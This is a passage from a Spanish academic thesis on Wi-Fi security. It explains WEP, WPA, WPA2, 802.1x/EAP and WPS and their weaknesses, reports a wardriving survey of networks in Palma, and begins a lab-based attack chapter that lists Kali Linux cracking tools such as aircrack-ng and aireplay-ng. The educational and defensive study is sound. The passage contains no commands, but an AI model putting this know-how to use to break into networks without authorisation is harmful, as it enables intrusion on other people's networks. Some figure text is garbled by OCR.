Integrity Check Value (ICV): conjunto de bits calculados para obtener la integridad
del texto plano o la MSDU.

h 4

v
Initialization J (cleartext)
Vector (IV) Seed RC4 Keystream
— g
| ‘ algorithm

Encrypted data

WEP key ’ (ciphertext)

Plaintext —e »>
CRC-32 —>

Integrity Check Value (ICV)

XOR
process

Figura 2.10: Esquema de funcionamiento de WEP [12]

El proceso que se lleva a cabo para crear una trama WEP, se puede ver en la figura
2.10, y es el mismo para las tramas WEP enviadas del AP a la STA y viceversa [13]. La
creacion de la trama se realiza con los siguientes pasos:

14
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1.

Se genera la concatenacion del IV aleatorio junto a la clave WEP. Esta concatena-
cién es tratada por el algoritmo RC4 produciendo la keystream.

. Se obtiene el ICV creado por el MSDU con el algoritmo CRC-32 para garantizar

la integridad de los datos.

. Serealiza una XOR entre la keystream y el ICV con el MSDU, obteniendo el texto

cifrado. Este texto cifrado junto al IV del principio crea la trama WEP, lista para
ser enviada.

Para descifrar el texto de la trama WEP, basta con realizar una XOR con la keystream
para obtener el MSDU con su ICV.
WEP sufre diversos problemas:

Debido al uso de una clave estética, se pueden realizar ataques estadisticos y
obtener el patrén de la clave tras monitorizar la red. De este modo, se obtendria
la clave estética.

Como el IV se envia en texto plano, pueden ser captados por cualquiera. Ade-
mads de tener una longitud corta, formados sélo por 24 bits, capturando un gran
numero de IV se puede descifrar la clave mediante ataques estadisticos.

La autenticacion se lleva a cabo en una tinica direccion, la STA se autentica con
el AP. En este caso, la STA no puede saber si el AP al que se conecta es quien dice
ser. Por esta razén, existen los ataques Evil Twiny Man In The Middle (MITM),
que se veran en el apartado 4.3.2.

Vulnerabilidad ante la reinyeccién de paquetes y ataques de repeticion, ya que
no contempla ignorar tramas desordenadas.

2.2.3 WPA

TKIP es el protocolo de seguridad definido en el estdndar IEEE 802.11i, mds conocido
por WPA. En la actualidad, se considera obsoleto por el hecho de emplear el algoritmo
de cifrado RC4 al igual que WEP. Este protocolo surgié como soluciéon temporal de la
Wi-Fi Alliance para paliar las deficiencias de su predecesor. Las mejoras implementadas
con respecto a WEP son las siguientes [12]:

Claves temporales: emplea claves dindmicas que son distintas en cada sesién
utilizando una pirdmide de claves. Estas claves son creadas en el proceso 4-Way
Handshake.

Message Integrity Code (MIC): es una comprobacién de la integridad de los datos.

IV extendido: el nimero de bits del IV pasa de 24 a 48 bits y cambia su nombre a
TKIP Sequence Counter (TSC).

Secuenciacién: TKIP implementa el orden de las tramas enviadas llamado TSC
para secuenciar los MAC Protocol Data Unit (MPDU) que envia. Una STA que
reciba tramas desordenadas serdn ignoradas. Esto fue disefiado para evitar los
ataques realizados al protocolo WEP de reinyeccién de paquetes y de repeticion.

15
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* Mezcla de clave: TKIP emplea un proceso de mezcla en dos fases del cifrado para
crear las componentes mds robustas en el algoritmo de cifrado RC4. Este proceso
fue disefiado con el fin de paliar las colisiones IV y las deficiencias de las claves
débiles de WEP.

¢ Posibilidad de autenticacién a través de servidores de autenticacion.

Autenticacion

WPA distingue dos modos de autenticacién [12]:

» Enterprise: pensado para grandes empresas donde se utiliza un servidor Remote
Authentication Dial-In User Service (RADIUS) de autenticacién con el protocolo
de autenticacién 802.1x Extensible Authentication Protocol (EAP). En el momen-
to de la autenticacion, el AP sdlo hace de puente entre la STA y el servidor de
autenticacion.

e Personal: este modo estd disefiado para pequenas empresas y hogares, Small
Office/Home Office (SOHO), sin la necesidad de ningtin servidor de autenticacion.
Utiliza una PSK para la autenticacién conocida por el AP y la STA.

Jerarquia de claves

La jerarquia de claves se utiliza en protocolos de seguridad WPA y WPA2 que soportan
la confidencialidad e integridad de datos. Esta jerarquia se emplea para la creacién
dindmica y segura de claves de cifrado [12]. En la figura 2.11 se puede ver la divisién de
la jerarquia en tres grupos de claves:

GMK

1 |

4-Way Handshake

GTK PTK

l |

Figura 2.11: Piramide de la jerarquia de claves en redes WPA y WPA2 [12]

* Master Session Key (MSK): se encuentra en la cima de la pirdmide y su generacién
dependerd del tipo de autenticacién empleada, ya sea EAP o PSK.

— En el método de autenticaciéon EAP, la MSK se crea en el proceso de auten-
ticacion variando su valor cada vez que se realiza una autenticacion.
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— En el tipo de autenticacién PSK, la MSK se crea con la clave PSKy el SSID
de la red.

* Master keys: después de la creacion de la MSK, se crean dos Master keys, que son
Group Master Key (GMK) y Pairwise Master Key (PMK). La GMK se crea aleatoria-
mente y la PMK a partir de los 256 primeros bits de la MSK. Ambas necesarias
para crear las Temporal keys, Group Temporal Key (GTK) y Pairwise Transient
Key (PTK) respectivamente.

e Temporal keys: son las claves temporales GTK y PTK. Ambas claves son empleadas
para cifrar y descifrar las tramas de datos. La GTK se emplea para comunicaciones
broadcast y multicast. En cambio, la PTK se emplea para las transmisiones unicast
entre una STA y un AP. Esta tltima se divide en tres partes visibles en la figura
2.12:

— Key Confirmation Key (KCK): provee integridad durante el 4-Way Handsha-
ke.

- Key Encryption Key (KEK): provee confidencialidad en los datos durante el
4-Way Handshake.

— Temporal Key (TK): destinada al cifrado y descifrado del payload del MSDU.

»
Pairwise Transient Key (PTK) ||

Key Key Temporal Key (TK)
Confirmation Encryption TKIP
Key (KCK) Key (KEK) CCMP

b

Figura 2.12: Partes de una PTK [12]

4-Way Handshake

El 4-Way Handshake es el proceso de autenticacion entre el AP yla STA, independiente-
mente del tipo de autenticacién. Durante este proceso, se intercambia la informacién
requerida para crear la PTK y se comparte la GTK. La PTK se emplea para cifrar todos
los datos entre el AP o authenticator que es quien realiza la autenticacién y la STA o
suplicant que es el solicitante de autenticacion.

Durante el proceso de 4-Way Handshalke, se intercambian mensajes EAP Over LAN
(EAPOL) los cuales se emplean en el protocolo EAP [14]. Se lleva a cabo el intercambio
de cuatro mensajes (ver figura 2.13) que realizan lo siguiente:

* Mensaje 1: el authenticator genera un nimero aleatorio, Authenticator Nonce

(ANonce) y el supplicant también, Suplicant Nonce (SNonce). Acto seguido el
authenticator envia una trama con la informacién del ANonce.

17
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* Mensaje 2: el supplicant genera la PTK empleando el ANonce recibido y el
SNonce junto a las direcciones MAC de ambos y la PMK. Se envia una trama
con la informacién del SNonce protegida con MIC.

* Mensaje 3: ahora el authenticator es el que genera la PTK. En este momento el
authenticator y el supplicant son capaces de cifrar y descifrar los mensajes. El
authenticator genera la GTK y la envia cifrada al supplicant.

* Mensaje 4: el supplicant envia un mensaje de confirmacioén al authenticator
indicando que la PTK yla GTK han sido instaladas.

Supplicant . ! .
Authenticator
Q > .

>

Pre-Shared Key 256 bit Pre-Shared Key 256 bit

Message.t
i ANounce
Snounce

Snounce + MIC

Message 3 poe

Key Installed “T ey Installat
Mes_sage 4 . | Key Installed
Key Install Acknowledgement

Figura 2.13: Ilustracién del 4-Way Handshake [14]

Cifrado

La realizacion del proceso de cifrado necesita de los siguientes componentes:

» Transmitter Address (TA): corresponde a la direccién MAC del dispositivo que
transmite.

e TK: clave temporal de 128 bits para el cifrado y generada dindmicamente por el
proceso 4-Way Handshake.

¢ TSC: nimero de secuencia de 48 bits que se va incrementando por cada MSDU
enviado. Se divide en 6 octetos, donde TSCO es el octeto menos significativo y el
TSC5 el mas significativo.

* Destination Address (DA) y SA: direccién MAC correspondiente al dispositivo
destino y al dispositivo origen, respectivamente.

* Priority: prioridad de la trama.
e MSDU: unidad de transmisidn la cual tiene los datos a transmitir de la capa MAC.

e MIC key: clave temporal de 64 bits para calcular la integridad del mensaje en la
transmision.
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* TKIP-mixed Transmit Address and Key (TTAK): clave resultante por la fase 1 de la
funcién de mezcla, mixing, donde mezclala TA, la TK yla TSC.

WEP seed(s)

TA (represented as WEP
TK | Phasel | TTAK v
> key ARC4 key)
mixing » i y h -
ase
= —ARC4 key—»|
L R Ciphertext
2 MPDU(s)
WEP
Eﬁo:itiﬁ 4 Encapsulation r
Plaintext MSDU >
Fragment(s) =
ata
Michael >
e Plaintext
MIC ey MSDU +
MIC

Figura 2.14: Proceso de cifrado e integridad de TKIP [5]

En la figura 2.14 se puede ver el proceso de cifrado [5] que se divide en las siguientes
partes:

1. Proceso divisible en 2 fases:

¢ La primera consiste en la combinacién de TA, TKy TSC, concretamente los
octetos TSC2 al TSC5, obteniendo el TTAK.

¢ Posteriormente, empieza la fase 2 donde mezcla el TTAK con el TK y los 2
primeros octetos (TSCO0y TSC1) de TSC. El resultado de la fase 2 es conocido
como WEP seed, donde se ejecuta el algoritmo RC4 para crear la keystream.

2. Por otro lado, el MIC es generado utilizando la DA, SA, priority, MSDU yla MIC
key. Después de que el MIC haya sido generado se concatena al final del MSDU.

3. Posteriormente, se realiza la encapsulacion WEP, donde el MSDU junto al MIC
generan un ICV. Por otro lado, se cifra el MSDU, MIC e ICV usando la keystream.

4. Para terminar el proceso de cifrado, se adjunta la cabecera MAC, el IV de 48bits
compuesto por el TSC, el mensaje cifrado MSDU, el MIC, el ICV y por ultimo, el
FCS. El FCS se calcula sobre todos los demés campos de de la trama, siendo un
campo de correccion de errores de 32 bits CRC. Este proceso de cifrado origina la
trama de la figura 2.15.

2.2.4 WPA2

WPA2 es el nombre de la segunda versién del protocolo WPA del estdndar IEEE 802.11i.
CCMP es el protocolo de seguridad que emplea y hace uso de AES como algoritmo de
cifrado por bloques.

Este protocolo tiene mejoras de seguridad respecto a su predecesor WPA, aun-
que mantiene similitudes como las claves, los métodos de autenticacion y el 4-Way-
Handshake, que se realizan de la misma forma excepto que MIC no genera ninguna
clave temporal, pasando de 512 bits necesarios a 384 bits para el PTK.
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MAC Header

IV (TSCO,
TSC1 Key ID)

Extented IV
(TSC2 through
SE5)

MSDU Encrypted

MIC
ICV
FCS

Figura 2.15: Trama TKIP cifrada [12]

Cifrado

La realizacion del proceso de cifrado necesita los siguientes componentes [12]:

20

TA: como en TKIP, corresponde a la direccién MAC del dispositivo que transmite.

Packet Number (PN): conjunto de 24 bits utilizado para secuenciar el orden de
las tramas.

TK: al igual que TKIP, hay una clave temporal de 128 bits.

Additional Authentication Data (AAD): proporciona integridad a los datos de la
cabecera MAC. AAD se construye a partir de porciones de la cabecera de la trama.

MSDU: andlogamente a TKIP, es la unidad de transmisién la cual contiene los
datos a transmitir de la capa MAC a capas superiores.

MIC: lo mismo que para TKIP, clave para calcular la integridad del mensaje en la
transmision. Es temporal y consta de 64 bits.

Key ID: identificador de clave de 2 bits para poder asignar distintas claves a la red.

Nonce: valor de 104 bits generado una sola vez y de forma aleatoria. Se crea con
el PN, el campo de prioridad de QoS y el TA.

El proceso de cifrado se divide en los siguientes pasos [12] (ver figura 2.16):

1.

2.

3.

Primero crea el PN.
Crea el AAD.

El PN yla Key ID crean la cabecera CCMP.



2.2. Protocolos de seguridad

4. EI PN, el TA y campo de prioridad de QoS crean el Nonce.

5. Realizacidn del cifrado por el proceso creador Counter Mode with Cipher Block
Chaining Message Authentication Code (CCM) de la TK, AAD, Nonce'y el texto
plano del mensaje. Como resultado, se obtiene el MSDU y el MIC cifrados.

6. Por ultimo, se unen las cabeceras MAC y CCMP, el MSDU y el MIC cifrados y el
FCS, campo de correccién de errores de 32 bits CRC calculado sobre todos los
demds campos de la trama.

(6)

MAC
Header 3
MAC
Header
(5)
(1) (2)

Plaintext CCMP
Data Create Create ) Header
Packet AAD N

Number ccM
o ] (4) originator
» processing
Create N e | »| MSDU
Lo Encrypted
Create
128bit E :
Temporal g —r—] wmic
Key
FCS
(3)
* | Create

Header

Figura 2.16: Diagrama de cifrado CCMP [12]

2.2.5 802.1x

El estdndar 802.1x no es un estdndar propio de IEEE 802.11, sino que es un estandar
basado en el control de acceso a puertos, Port Access Entity (PAE), donde se permite o
se deniega el acceso. Este estindar permite distintos métodos de autenticacién y puede
emplearse tanto en redes inaldmbricas como en redes cableadas [5].

Funcionamiento

El sistema de control de acceso tiene tres componentes que envuelven la autenticaciéon
801.1x:

* Suplicant: dispositivo que desea conectarse a la red y para ello se autentica.
¢ Authenticator: dispositivo que permite o bloquea la conexion.

e Authentication Server (AS): servidor que verifica las credenciales del dispositivo
suplicant que desea conectarse y en caso de que la verificacién sea correcta, dard
permiso al authenticator para que permita el acceso a la red al suplicant.
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2. SEGURIDAD EN REDES 802.11

Este sistema emplea un protocolo sobre la capa de enlace OSI, conocido como EAP
y basado en PAE, donde en el estindar 802.11 se utiliza una encapsulacién de tramas
EAPOL para enviar datos entre el suplicant y el authenticator.

El proceso de autenticacion puede verse en la figura 2.17 junto a los componentes
bésicos y se compone de los siguientes pasos [12]:

1. El supplicant se asocia con el authenticator que controla la conexion a los puer-
tos.

2. El supplicant empieza el proceso de autenticacién EAP transmitiendo una trama
EAPOL.

3. El authenticator envia una trama EAP solicitando la identificacion.

4. El supplicant responde con una trama que encapsula la informacién de identifi-
cacion.

5. El authenticator envia al AS la trama del supplicant encapsulada en un paquete
RADIUS.

6. El AS comprueba las credenciales y devuelve una prueba de la contraseia.
7. El authenticator envia la prueba al supplicant.

8. El supplicant obtiene la contrasefia y la devuelve modificindola mediante un
algoritmo de hash.

9. El authenticator hace llegar el mensaje al AS.

10. El AS realiza el mismo proceso de hash que el supplicant y compara los dos
resultados. La respuesta se envia al supplicant, ya sea un éxito la comparacion o
no.

11. El authenticator envia el mensaje de respuesta. Si la respuesta es correcta, el
supplicant queda autenticado.

12. Ahora, empezaria el 4-Way Handshake. Se puede ver con mds detalle en el apar-
tado 2.2.3.

13. El supplicant obtiene acceso a los puertos anteriormente bloqueados.

Métodos de autenticacion

Hay mads de 50 métodos de autenticacién EAP, donde se pueden dividir dependiendo
de la seguridad de las credenciales en:

» Débiles: protocolos antiguos susceptibles a ataques.

* Fuertes: protocolos con mayor seguridad basados en Transport Layer Security
(TLS), donde cifran la informacién. Este tipo es utilizado frecuentemente en
empresas.
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Figura 2.17: Componentes bésicos y proceso de autenticacion EAP |
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En la tabla 2.2 se puede observar distintos tipos de EAP, donde se ha optado por

mostrar los tipos de EAP mds relevantes. Hay que tener en cuenta que existen muchos
mads tipos y muchos de ellos con una seguridad débil [

I

Las autenticaciones EAP- Lightweight EAP (LEAP) y EAP-Message-Digest Algorithm

5 (MD5) son marcadas como inseguras, debido a que son susceptibles a ataques por
diccionario, MITM y no validan el certificado del AS.

’ EAP-TLS | EAP-PEAP | EAP-MD5 | EAP-LEAP

Certificado digital-Cliente St No No No
Certificado digital-Servidor Si Si No No

Seguridad de las credenciales Fuerte Fuerte Débil Débil
Proteccién Man-in-the-Middle Si Si No No
Débil a ataques de diccionario No Si Si Si
Autenticaciéon Password-Cliente No Si Si Si
Autenticacion a través de tinel | Opcional Si No No

Tabla 2.2: Comparativa de los principales tipos de autenticacién EAP

Los métodos EAP-TLS y EAP- Protected Extensible Authentication Protocol (PEAP)

se consideran seguros. El método EAP-TLS emplea certificado tanto para el cliente
como para el servidor. Por otro lado, el método EAP-PEAP emplea certificado sélo el
servidor. Atn asi, el método de autenticacion EAP-PEAP se considera seguro, debido a
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que la autenticacion se realiza cifrada a través de un tinel TLS [15].

2.2.6 WPS

WPS es un mecanismo de seguridad para los AP introducido por la Wi-Fi Alliance en
2006 para ayudar a los usuarios a crear redes seguras y conectarse de forma sencilla
[16]. La arquitectura WPS se compone de tres elementos basicos [12]:

¢ AP en modo infraestructura 802.11.

* Registrar. Dispositivo con la autoridad necesaria para generar o eliminar las
credenciales de acceso a la red. Este dispositivo puede ser tanto un AP como una
STA, y pueden existir varios dispositivos Registrar.

* Enrollee. Dispositivo que quiere unirse a la WLAN.
Ademés, WPS posee varios métodos para autenticarse [13]:

» Personal Identification Number (PIN): la autenticacién se genera mediante el
intercambio de un PIN. Este método, distribuido por la mayoria de fabricantes
de AP con WPS, es el mds comun y a su vez el mds inseguro.

* Push-Button-Connect (PBC): la autenticacién se realiza en el momento en el que
se pulsa un botén en el AP y en el dispositivo del cliente. El botén puede ser fisico
o virtual. Si ambos botones son pulsados dentro de un intervalo de 2 minutos,
la autenticacién serd un éxito. En caso contrario, el AP dejara desactivada la
autenticacion PBC hasta que se vuelva a pulsar su botdn. El funcionamiento se
puede ver en la figura 2.18.

Push Success
Button indication

Enrollee scans for Registrars
l in active PBC mode T

Enrollee
Registration
Protocol
Within Walk Time Operates
(120 seconds)
\ Registrar — :

F 3
Monitor Time (120 seconds) ¢

| 2

f/ -
Ty
-«
Push Success
Button indication

Figura 2.18: Esquema del método PBC [12]
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e Near Field Communication (NFC): la autenticacion se crea mediante comuni-
cacion NFC, autenticando el Registrar al Enrollee estando a un méaximo de 20
centimetros de distancia.

e Universal Serial Bus (USB): la autenticacién se transmite a través de un dispositi-
vo de memoria flash desde el Registrar al Enrollee.
2.3 Futuro del estandar y de los protocolos

El futuro del estandar est4 ligado al IoT, donde en un futuro cercano, todo estard
conectado a Internet. Asi pues, la seguridad, integridad y confidencialidad en todas las
comunicaciones sera crucial.
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CAPITULO

ESTUDIO DE CAMPO

Este capitulo divide el estudio de campo en dos apartados. El primer apartado es el
estudio de los datos recogidos en la ciudad de Palma. En el segund apartado se analizan
los datos que aparecen en la pagina web de WiGLE, la cual retine informacién de redes
Wi-Fi de todo el mundo.

3.1 Datos de campo

En este apartado, se verdn los tipos de redes que hay actualmente y las herramientas
utilizadas para el estudio de campo. En el estudio de campo se han analizado las redes
Wi-Fi de Palma. De este modo, se ha podido obtener una muestra del tipo de redes que
se usan, y asi, poder estudiarlas.

Para llevar a cabo el estudio, se ha utilizado un teléfono mévil, ya que se trata de un
dispositivo inalambrico, con bateria suficiente, es facil de transportar y tiene Global
Positioning System (GPS) para ubicar cada red. Ademds, se necesita una aplicacion
para la deteccién y captura de informacién de cada red a su alcance. Esta biisqueda y
recoleccién se conoce como wardriving.

A la hora de escoger una aplicacion para realizar wardriving, es necesario que
funcione en Android, sistema operativo del teléfono mévil. Entre las aplicaciones
encontradas en Google Play, la escogida debia cumplir las siguientes caracteristicas:
posibilidad de descargar las redes en formato csv o kml para su posterior tratamiento de
los datos e indicar la posicién GPS de cada red para obtener un mapa de las ubicaciones.

La aplicacién WiGLE Wifi Wardriving, elegida para el estudio de campo, es la tinica
que retne las caracteristicas anteriores y ademads tiene pagina web, www.wigle.net,
donde cabe destacar, que recopila informacién de las diferentes redes Wi-Fi alrededor
de todo el mundo y tiene un apartado Frequently Asked Questions (FAQ). Los usuarios
que usen la aplicacién pueden subir toda la informacién de las redes descubiertas y
compartirla, ampliando asi la base de datos de WiGLE.

Tras la instalacion de la aplicacion en el dispositivo mévil, se ha iniciado el proceso
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de wardriving en Palma. El escaneo de las redes Wi-Fi, que ha abarcado parte del
municipio de Palma, se puede ver en la figura 3.1. Una vez finalizada la biisqueda de
redes, se ha obtenido un archivo csv. Dicho archivo almacena los datos de cada red en
filas, separando los campos mediante comas. Con el fin de poder tratar los datos, se
han organizado en columnas empleando la herramienta Excel de Microsoft. Esta nos
permite dividir en columnas los campos de informacién delimitados por comas. El csv
contiene la siguiente informacién de cada red:

e MAC: identificador de 48 bits que corresponde de forma tinica a un dispositivo.
¢ SSID: es el nombre de la red.

e AuthMode: tipos de autenticacién de la red, como pueden ser WEP, WPA o WPA2.
 FirstSeen: fecha de la captura de la red.

¢ Channel: niimero de canal asignado.

* Received Signal Strength Indication (RSSI): nivel de potencia de la red inaldm-
brica. Generalmente, se mide con valores negativos. Cuanto menor es el niimero,
menor es la potencia de sefial recibida. El valor 0 seria el mejor valor.

¢ CurrentLatitude: coordenada geografica correspondiente con la coordenada
angular de Norte y Sur del sistema de referencia.

¢ CurrentLongitude: coordenada geografica correspondiente con la coordenada
angular de Este y Oeste del sistema de referencia.

¢ AltitudeMeters: metros de altitud donde se haya la red.
* AccuracyMeters: precision en metros de la ubicacién de la red.
* Type: tipo de la red. Pueden ser redes Wi-Fi o celulares.

Ademads, se ha realizado un filtrado por MAC con el fin de eliminar los AP duplicados
y también un filtrado por tipo de red Wi-Fi. Asi, s6lo quedarian las redes de tipo Wi-Fi,
rechazando las redes celulares. Para ambas acciones, se ha utilizado la herramienta
de Excel de Microsoft, la cual da la opcién de eliminar filas duplicadas en una tabla 'y
también, eliminar filas de un campo con un tipo concreto, en nuestro caso, las redes que
no fuesen Wi-Fi. En total, tras la eliminacién de los AP duplicados y de redes celulares,
se han capturado 46.964 redes contemplando las posibles redes ocultas que pudiese
haber, ya que éstas también tienen su informacion relevante a tratar como todas las
demas. Se entiende como red oculta aquella que no difunde su SSID, apareciendo vacio
en el escaneo de las redes.

La visualizacién del conjunto global de las redes se ha realizado mediante la herra-
mienta Google Earth. Ha sido necesario una cuenta Premium, pero al ser un proyecto
académico, se ha obtenido una licencia gratuita de dos afios, para visualizar el méximo
ntmero de redes posible. El niimero de redes que se pueden visualizar son 40.000 ya
que es el maximo permitido por la aplicacién. Partiendo del documento csv, para que
las coordenadas hayan sido leidas por Google Earth, se han tenido que modificar los
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titulos de CurrentLatitude y CurrentLongitude por Latitude y Longitude respectiva-
mente. Posteriormente, se ha tenido que convertir a formato kml empleando la cuenta
Premium para ser visualizado por la herramienta Google Earth. Esta herramienta s6lo
permite visualizar las 40.000 primeras redes de 46.964 descartando las restantes. La
intencién de la visualizacién no es visualizar todas las redes, sino tener una idea de
la ubicacion general del conjunto de redes, constatando que han sido obtenidas en
la ciudad de Palma. La visualizacién del 85% del total de las redes no penalizara al
conjunto, aclarando que el descarte de redes s6lo ha sido para su visualizacién pero a
la hora de realizar el andlisis de la informacién se han empleado todas las redes.

Figura 3.1: Visualizacién de 40.000 redes en Palma

El andlisis realizado del conjunto de datos se ha clasificado de la siguiente forma
distinguiendo entre redes con distinta seguridad y sin contrasefia (ver figura 3.2):

¢ Libre o OPN: Redes Wi-Fi sin contrasena. Un 15% carecen de seguridad. La
mayoria de estas redes corresponden a redes publicas y a ONO-Vodofane. Se
deben hacer uso conscientemente. Hay formas de poder cifrar la informacién de
un navegador, cosa que podria ser bastante til en estos casos. Cabe destacar que
el 50 % de las redes sin contrasefa corresponden a la compafia ONO. Estas redes
estan destinadas a suministrar Wi-Fi a usuarios de ONO-Vodafone que tengan
Internet + Fijo + M6vil. El acceso a Internet es mediante una contrasefia recibida
por SMS tras previo registro de la linea de mévil https://vodafonewifi.es/.

* WEP: El 5% de las redes atin emplean este tipo de protocolo ya obsoleto. Cada
vez es menor el nimero de este tipo de redes, ya que los fabricantes y empresas
distribuidoras de Internet emplean por defecto WPA o WPA2.
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* WPA: El 23 % tiene configurado el protocolo WPA, el cual surgi6 para paliar las
deficiencias del protocolo anterior.

* WPA2: El 25% hace uso del protocolo WPA2, siendo el mds seguro de todos. Todas
las redes deberian tener este tipo de protocolo, aunque puede que no todos los
AP la configuren ni todos los dispositivos que empleen la red sean compatibles.

* Para solventar problemas de compatibilidad, estd el protocolo WPA2 usando el
cifrado TKIP o AES a la vez, dependiendo del dispositivo conectado. Este tipo de
red con cifrado mixto se le llamard WPA/WPA2 para diferenciarlo de la red WPA2
con sélo cifrado AES. El 31 % de redes utilizan WPA2 con los dos tipos de cifrado.

* Por tltimo, nos queda un 1% de redes que no han sido clasificadas. Dichas redes
son redes ad-hoc, ya sean P2P o no. Dentro de este porcentaje hay algunas redes
que solo tienen como seguridad el protocolo WPS, que normalmente se puede
unir a otros como WPA o WPA2.

* Un 3% del total de redes tienen su Basic Service Set IDentifier (BSSID) en blanco.
Esto quiere decir, que el 3% de las redes tienen el SSID oculto.

Libre
15%

Otras WPA-WPA2

31%

Figura 3.2: Grafico de redes segun el protocolo de seguridad

Por otro lado, la tecnologia Wi-Fi emplea distintos canales de frecuencia. Estos
canales se agrupan segun el estdndar:

* 2,4 GHz: banda de 2,4 GHz donde en Espafia se pueden utilizar los canales del 1
al 13. Teniendo en cuenta que el 14 es el inico prohibido. La potencia méxima es
de 20 dBm.

* 5 GHz: banda de 5 GHz que permite en Espafia el uso de los canales 36 a 64 y 100
a 140. La potencia méxima varia entre 23 dBm y 30 dBm.

Segtn los datos obtenidos, hay un uso mayoritario de las redes de 2,4 GHz siendo
el 97%. Por lo que s6lo el 3% de redes utiliza la banda de 5 GHz. La diferencia del uso
de una banda de frecuencia u otra, es que la banda de 2,4 GHz tiene mds alcance. En
cambio, la banda de 5 GHz tiene mayor velocidad.
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3.2 Datos de WiGLE

Los datos obtenidos y analizados en el apartado anterior son comparables con las
estadisticas de la pagina de WiGLE, que es un catdlogo de redes inaldmbricas que
administra la informacién de las redes 802.11a/b/g/n y redes celulares. Esta plataforma
tiene como objetivo reunir y consolidar tanto la ubicacién como la informacién de
las redes inalambricas en todo el mundo en una base de datos central. WiGLE tiene
aplicacién de escritorio, web y mévil, faciles de usar con las que se puede consultar y
actualizar la base de datos de la plataforma [17].

En la base de datos de redes de WiGLE, cada red es tinica por su BSSID, es decir,
no hay dos redes con el mismo BSSID aunque si se sube una red que ya pertenecia a
la base de datos, ésta se actualiza con su nueva informacion. Si la red pasa de WEP a
WPA2 por ejemplo, WiGLE almacenaria que esa red pasa a ser WPA2, cambiando el tipo
al que pertenece.

En la figura 3.3, se puede observar que WiGLE distingue cinco tipos de redes: WPA,
WPA2, WEP, sin contraseiia y el resto. El territorio geogréafico que abarcan los resul-
tados recogidos por la plataforma es muy diverso, englobando casi todo el mundo,
desde Estados Unidos siendo el méximo colaborador de redes con 53.493.418, pasando
por Alemania como segunda con 8.856.744, después Gran Bretafia, Holanda, Canada,
Francia, Japon, Rusia, Australia y Polonia, decrementando cada pais su aporte de redes.
En el undécimo puesto se encuentra Espafia con 1.897.154 redes. Y la lista de paises
continda cubriendo practicamente todo el mundo.

Wireless Encryption

207,394,160 (58.69%)
WPA: 25,636,607 (7.24%)
WEP: 30,466,864 (8.60%)
7777: 70,611,276 (19.94%)

20,110,823 {5.68%)

Figura 3.3: Redes segin WiGLE en julio del 2017 [18]

Aun asi, se puede observar como WPA y WPA2 forman la mayor parte de redes. A su
vez, el porcentaje de redes WEP es 3,60 % mayor que el obtenido en nuestro estudio de
campo. Ademads, la cantidad de redes que no han sido clasificadas es bastante mayor, al
igual que las redes sin contrasefia.

En la pagina de WiGLE, se puede observar la evolucién de los tipos de cifrados
desde 2002 a 2017. La gréfica de la figura 3.4 muestra la evolucion de las redes cifradas
(Encrypted) y sin cifrar (No Encrypted) y por otra parte las redes WEP, WPA, WPA2 y el
resto, marcadas como desconocidas (Unknow).
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Figura 3.4: Evolucién temporal de los tipos de redes [18]

El ndmero de redes sin contrasefia ha ido decreciendo considerablemente desde
2002. A su vez, el nimero de redes WPA2 ha aumentado, mientras que paralelamente
las redes WEP han disminuido.

La tendencia indica que el uso de las redes WEP y las redes sin contrasefia acabard
siendo residual y disminuird mucho ma4s el porcentaje. Las redes WPA2 adquirirdn
mads protagonismo del que ya tienen, siendo WPA2 el protocolo mds seguro hasta el
momento y el que deberia ser usado.
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CAPITULO

ATAQUES GENERALES A LAS REDES
INALAMBRICAS

Este capitulo se centra en los ataques mds comunes que puede recibir una red inaldm-
brica. Cada ataque se realiza en un escenario con unas caracteristicas concretas. Se
veran las distintas fases a la hora de realizar un test de penetracién en una red y pos-
teriormente, una serie de ataques realizados, distinguiendo ataques bdésicos y por
protocolo de seguridad. Estos ataques serdn descritos e implementados y tendran sus
contramedidas pertinentes para suplir el ataque.

4.1 Escenario de pruebas

En este apartado se explica el hardwarey el software que apareceran en los distintos
escenarios.

4.1.1 Hardware
Ordenadores

Los ataques se realizan utilizando un ordenador de sobremesa. El ordenador tiene un
procesador AMD Phenom II X4 965 de 3,42GHz. Ademds de una memoria Random
Access Memory (RAM) de 8GB, una tarjeta grafica NVDIA GeForce GTX 650 y una tarjeta
de red inaldmbrica.

Enla tabla 4.1 podemos observar las caracteristicas de la tarjeta de red que tiene
el ordenador de sobremesa. Esta tarjeta de red inaldmbrica es TP-LINK TL-WN781ND
ATHEROS 150MB PCI-E del fabricante TP-Link .

Por otro lado, hay un ordenador portatil conectado al AP siendo el cliente que
genera trafico en la red. Las caracteristicas del mismo son irrelevantes ya que el hecho
de generar trafico serd suficiente.
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Producto Seguridad Conectividad Soporte WPS
TL-WN781ND | WEP 64/128bits 802.11b 2,4GHz Si
WPA-TKIP 802.11g 2,4GHz
WPA2-AES 802.11n 2,4/5GHz

Tabla 4.1: Caracteristicas tarjeta de red

La decisién de que el atacante sea el ordenador de sobremesa, es debido a que éste
tiene mejor hardware, y por ello funcionard con mayor fluidez ejecutando las pruebas

de ataque.

Punto de acceso

El AP escogido ha sido el TL-WDR3600 del fabricante TP-Link, donde en la tabla 4.2
se pueden apreciar sus caracteristicas. Este router tiene las caracteristicas mas que
suficientes para realizar los ataques deseados y ser victima de ellos.

Producto Seguridad Conectividad Soporte
TL-WDR3600 WEP 64/128bits 802.11a 2,4/5GHz WPS-PIN
WPA/WPA2 Personal 802.11b 2,4GHz WPS-PBC
WPA/WPA2 Enterprise 802.11g 2,4GHz SPI Firewall
WPA-TKIP 802.11n 2,4/5GHz DoS
WPA2-AES 4 puertos IP Filter
Local Area Network (LAN) MAC Filter
1 puerto WAN Domain Filter
2 puertos USB

Tabla 4.2: Caracteristicas del router

4.1.2 Software

Kali Linux versién 2016.2 es el sistema operativo que contiene los programas necesarios
para realizar los ataques [19]. En Kali Linux hay un conjunto de herramientas air que
proporcionan todo lo necesario para realizar una auditoria a redes inaldmbricas. Las
herramientas que se utilizardn en ataques posteriores son las siguientes:

* Macchanger: con esta herramienta es posible cambiar la direccién MAC de la

tarjeta de red.

» La suiteair: conjunto de herramientas destinadas a realizar auditorias de redes

inalambricas.

— Airmon-ng: permite modificar el modo de trabajo de la tarjeta de red [20].

- Airodump-ng: permite escuchar todo el tréfico inaldmbrico [21].

- Aircrack-ng: permite ataques de fuerza bruta, por diccionario o estadisticos,
empleando el tréfico obtenido por airodump-ng [22].
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— Aireplay-ng: dala posibilidad de realizar distintos ataques a clientes y AP.
En la tabla 4.3 se puede ver un resumen de los distintos ataques que esta
herramienta permite realizar [23].

